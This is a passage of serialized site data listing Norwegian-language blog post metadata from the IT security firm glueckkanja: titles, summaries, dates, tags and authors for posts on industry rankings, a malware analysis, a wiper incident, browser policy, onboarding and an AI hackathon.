psykologi, to security-veteraner og spørsmålet om hva dette betyr for forsvaret deres.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[1518,1084,1475],"AI",{"id":1520,"title":1521,"author":1522,"cta":494,"description":1523,"hideInRecent":484,"layout":1040,"meta":1524,"moment":1525,"path":1529,"stem":1530,"tags":1531,"webcast":484},"content_no/posts/2026-07-22-isg-cybersecurity-2026.md","Leader og Rising Star. glueckkanja i ISG-studien Cybersecurity 2026",[1279],"Ny i kvadranten og Leader med én gang: ISG Provider Lens®-studien «Cybersecurity – Services and Solutions 2026» posisjonerer glueckkanja som Leader innen Next-Gen SOC/MDR Services for det tyske mellommarkedet. I totalmarkedet for Next-Gen SOC/MDR Services kårer ISG oss til Rising Star, altså den leverandøren analytikerne tror vil klare spranget inn i Leader-kvadranten innen de neste 12 til 24 månedene.",{"lang":1042,"date":1525,"categories":1526,"blogtitlepic":1527,"customExcerpt":1528},"2026-07-22",[1485],"head-isg-cybersecurity-2026.png","ISG Provider Lens®-studien Cybersecurity 2026 kårer glueckkanja til Leader i kvadranten Next-Gen SOC/MDR Services (Midmarket). I totalmarkedet for Next-Gen SOC/MDR Services er vi Rising Star. ISG framhever vekst over gjennomsnittet, dyp Microsoft-security-ekspertise og et 24/7 SOC driftet fra Tyskland.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[1491,1492,235],{"id":1533,"title":1534,"author":1535,"cta":494,"description":1536,"hideInRecent":484,"layout":1040,"meta":1537,"moment":1538,"path":1541,"stem":1542,"tags":1543,"webcast":484},"content_no/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: Hva AI faktisk trenger for å jobbe",[1279],"En produksjonsbedrift vil vite hvilke av sine 14 000 SKU-er som faktisk er lønnsomme. Svaret ligger i tre systemer som aldri har utvekslet ett eneste datapunkt med hverandre. Til for kort tid siden kostet det tre avdelinger, to uker og en god del velvilje å få det. Siden begynnelsen av 2026 kan en AI besvare dette spørsmålet på minutter: søke gjennom dataene, etablere sammenhenger, produsere en anbefaling. Forutsatt at den har tilgang.",{"lang":1042,"date":1538,"categories":1539,"blogtitlepic":1540},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[1518,131],{"id":1545,"title":1546,"author":1547,"cta":494,"description":1548,"hideInRecent":484,"layout":1040,"meta":1549,"moment":1550,"path":1554,"stem":1555,"tags":1556,"webcast":484},"content_no/posts/2026-07-01-onboarding-process.md","Kontrakten er signert: Slik foregår onboardingen din hos oss",[1370],"Hvordan foregår egentlig onboardingen hos dere? Et spørsmål som stadig dukker opp i samtaler med søkere, for mange har allerede opplevd at en onboarding går trått. Desto viktigere er det for oss å gi deg en god følelse helt fra starten.",{"lang":1042,"date":1550,"categories":1551,"blogtitlepic":1552,"customExcerpt":1553},"2026-07-01",[1485],"Onboarding_Blogheader","Kontrakten er signert, det første store steget er tatt. Men hva skjer nå? Vi tar deg med bak kulissene i onboardingen vår, fra PreBoarding til den første uka i teamet.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[1557,1558,1559],"Employer Branding","Onboarding","Unternehmenskultur",{"id":1561,"title":1562,"author":1563,"cta":494,"description":1564,"hideInRecent":484,"layout":1040,"meta":1565,"moment":1566,"path":1570,"stem":1571,"tags":1572,"webcast":484},"content_no/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: vi er en av dem",[1279],"I Microsofts partnerøkosystem finnes det en hel rekke anerkjennelser, og likevel skiller Frontier Partner Badge seg fra de andre utmerkelsene i måten den er lagt opp på. Den kan ikke søkes om, men tildeles på Microsofts initiativ til en eksklusiv gruppe partnere som må overbevise i flere disipliner parallelt, i stedet for å briljere i én enkelt. Microsoft vurderer dokumentert kompetanse i Cloud & AI Platforms, i AI Business Solutions og i Security likeverdig, og henvender seg dermed til virksomheter som ikke ser AI som et påheng på eksisterende IT, men som resultatet av en gjennomgående arkitektur som bærer fra identiteten via endepunktet og helt inn i produktiv AI-drift.",{"lang":1042,"date":1566,"categories":1567,"blogtitlepic":1568,"customExcerpt":1569},"2026-06-26",[1485],"head-frontier-partner-badge.jpg","Nylig har Microsoft AI Cloud Partner Program fått en ny toppanerkjennelse, Frontier Partner Badge. Microsoft tildeler den utelukkende til en eksklusiv gruppe partnere verden over som leverer AI-prosjekter på hele Microsoft-stacken på en bærekraftig måte, fra arbeidsplassen via cloud-plattformen og security til selve AI-anvendelsen, og som har dokumentert dette i praksis. I DACH-området teller denne gruppen bare en håndfull selskaper, og vi er ett av dem.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[1491,1573,1518],"Microsoft Partner",{"id":1575,"title":1576,"author":1577,"cta":494,"description":1578,"hideInRecent":484,"layout":1040,"meta":1579,"moment":1580,"path":1584,"stem":1585,"tags":1586,"webcast":484},"content_no/posts/2026-06-09-vair-run.md","160 kilometer for en god sak",[1377],"Søndag morgen, klokka 8:30, Holbeinsteg ved Main. Elleve kolleger i like NinjaCat-skjorter, klare for Frankfurter Runden. Regn, lyn og torden inkludert. Å løpe for en god sak var motivasjon nok til å snøre løpeskoene tross det dårlige været.",{"lang":1042,"date":1580,"categories":1581,"blogtitlepic":1582,"customExcerpt":1583},"2026-06-08",[1485],"frankfurter-runden.png","Elleve kolleger, 16 runder, 160 kilometer, et tordenvær og en pallplassering: glueckkanja var med på Frankfurter Runden 2026 og donerte for hver løpte runde til VAIR e.V., som bygger en inkluderende sports- og kulturpark i Offenbach.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[1587,1557,1588,1589],"Top Arbeitgeber","Soziales Engagement","| NO",{"id":1591,"title":1592,"author":1593,"cta":494,"description":1594,"hideInRecent":484,"layout":1040,"meta":1595,"moment":1596,"path":1600,"stem":1601,"tags":1602,"webcast":484},"content_no/posts/2026-04-10-incident-to-intelligence.md","Anatomien til en ukjent AMOS Stealer: Fra alert til immunitet på timer",[1358],"Når en alert utløses i vårt SOC, begynner klokken å gå: ikke bare for den berørte kunden, men for alle organisasjoner under vår beskyttelse. Det farligste øyeblikket i dagens trusselbilde er Intelligence Gap, altså tidsvinduet mellom første gang en ny malware-variant tas i bruk og den dagen bransjen får vite om den.",{"lang":1042,"date":1596,"categories":1597,"blogtitlepic":1598,"customExcerpt":1599},"2026-04-10",[235],"head-amos-stealer.png","En hittil udokumentert AMOS-Stealer-variant kompromitterte et macOS-endpoint. Ingen kjente hasher, ingen C2-data i offentlige databaser. Vårt SOC demonterte seks obfuskeringslag, hentet ut alle indikatorene og distribuerte beskyttelsen til samtlige SOC-kunder i løpet av timer, før bransjen i det hele tatt hadde sett samplet.","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[1603,1604,1605,1606,1607],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center",{"id":1609,"title":1610,"author":1611,"cta":494,"description":1612,"hideInRecent":484,"layout":1040,"meta":1613,"moment":1614,"path":1617,"stem":1618,"tags":494,"webcast":484},"content_no/posts/2026-03-21-microsoft-edge-corporate-browser.md","Derfor bør Edge være deres eneste corporate browser",[1148],"Valget av nettleser er en strategisk beslutning i bedriftsmiljøer: det påvirker direkte hvor mye sikkerhet og administrasjonsarbeid du faktisk får. Google Chrome var lenge det åpenbare valget, men Microsoft Edge har utviklet seg til en nettleser som griper direkte inn i den eksisterende stacken, særlig når Microsoft 365 er i bruk og administrasjonen går via Intune.",{"lang":1042,"date":1614,"blogtitlepic":1615,"customExcerpt":1616},"2026-03-21","head-microsoft-edge-default-browser.jpg","Ingen virksomhet har egentlig valgt Chrome; den var bare der, med sin egen sync-logikk, sin egen kontoadministrasjon, sitt eget grensesnitt for policyer. Microsoft Edge griper derimot rett inn i infrastrukturen som allerede kjører: Entra ID, Intune, Defender. Dette innlegget viser hvordan overgangen ser ut, hvordan Chrome omdirigeres til en landingsside via Intune-policy, og hva som faller bort når du slutter å drifte to nettlesere parallelt.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":1620,"title":1621,"author":1622,"cta":494,"description":1623,"hideInRecent":484,"layout":1040,"meta":1624,"moment":1625,"path":1629,"stem":1630,"tags":1631,"webcast":484},"content_no/posts/2026-03-20-stryker-attack-intune-privilege.md","En admin-konto var alt som skulle til.",[1252],"Onsdag 11. mars 2026. Ansatte i Stryker-kontorer i 79 land slo på datamaskinene sine og fant dem tomme. Innloggingsskjermer erstattet av en logo. Firmalaptoper, tjenestemobiler, private enheter registrert i selskapets BYOD-program, alle slettet samtidig, over natten. Ingen ransomware, ingen malware-signaturer, ingenting som et endpoint-detection-verktøy kunne ha fanget opp.",{"lang":1042,"date":1625,"categories":1626,"blogtitlepic":1627,"customExcerpt":1628},"2026-03-20",[235],"head-stryker.jpg","Den 11. mars 2026 slettet Handala enheter i 79 land, og alt som skulle til, var en kompromittert Intune-admin-konto. Ingen malware, ingen exploit, bare legitime management-verktøy vendt mot sine egne eiere. Hva som skjedde, hvorfor det virket, og hvilke to arkitektoniske hull som må tettes.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,1474,1475],{"id":1633,"title":1634,"author":1635,"cta":494,"description":1636,"hideInRecent":484,"layout":1040,"meta":1637,"moment":1638,"path":1642,"stem":1643,"tags":1644,"webcast":484},"content_no/posts/2026-03-16-ai-agent-hackathon.md","Seks Agents. Fire uker. Ekte drift.",[1279],"Hvor mange timer bruker IT-avdelingen din per uke på oppgaver som en Agent kunne løst på minutter?",{"lang":1042,"date":1638,"categories":1639,"blogtitlepic":1640,"customExcerpt":1641},"2026-03-16",[1485],"head-ai-agent-hackathon.jpg","Seks selskaper, fire ukers byggefase, seks fungerende AI Agents. Det var den første glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa og lila logistik bygde Agents i Copilot Studio som i dag kjører i produksjon. Hva som kom ut av det, og hvordan formatet fungerer.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[1518,1645,1646,1647],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":1649,"Fritz Zurhorst":1650,"Nadine Klein":1651,"Jan Geisbauer":1652,"Carolin Kanja":1656,"Anna Ulbricht":1657,"Annette Brauns":1658,"Pascal Asch":1659,"Steffen Schwerdtfeger":1660},{"display_name":1117,"avatar":1118,"permalink":1119,"twitter":1120,"linkedin":1121,"imageOffsetTop":1122,"imageOffsetLeft":1123},{"display_name":523,"avatar":1093,"permalink":1094,"linkedin":1095,"imageOffsetTop":1096},{"display_name":524,"avatar":1112,"permalink":1113,"twitter":1114,"linkedin":1115,"imageOffsetTop":1096},{"display_name":1252,"avatar":1253,"permalink":1254,"twitter":1255,"linkedin":1255,"imageOffsetTop":1096,"socials":1653},[1654,1655],{"text":1258,"href":1259},{"text":1261,"href":1262},{"display_name":1279,"avatar":1280,"permalink":1281,"twitter":1282,"linkedin":1283},{"display_name":1370,"avatar":1371,"permalink":1372,"linkedin":1373,"imageOffsetTop":1374,"imageOffsetLeft":1375},{"display_name":1377,"avatar":1378,"permalink":1379,"linkedin":1380,"imageOffsetTop":1381,"imageOffsetLeft":1122},{"display_name":1358,"avatar":1359,"permalink":1360,"linkedin":1361,"imageOffsetTop":1195},{"display_name":1148,"avatar":1149,"permalink":1150,"linkedin":1151,"twitter":1152,"imageOffsetTop":1153,"imageOffsetLeft":1154},{"id":1088,"extension":1089,"meta":1662,"stem":8,"__hash__":1439},{"Fritz Zurhorst":1663,"Nadine Klein":1664},{"display_name":523,"avatar":1093,"permalink":1094,"linkedin":1095,"imageOffsetTop":1096},{"display_name":524,"avatar":1112,"permalink":1113,"twitter":1114,"linkedin":1115,"imageOffsetTop":1096},1791383947180]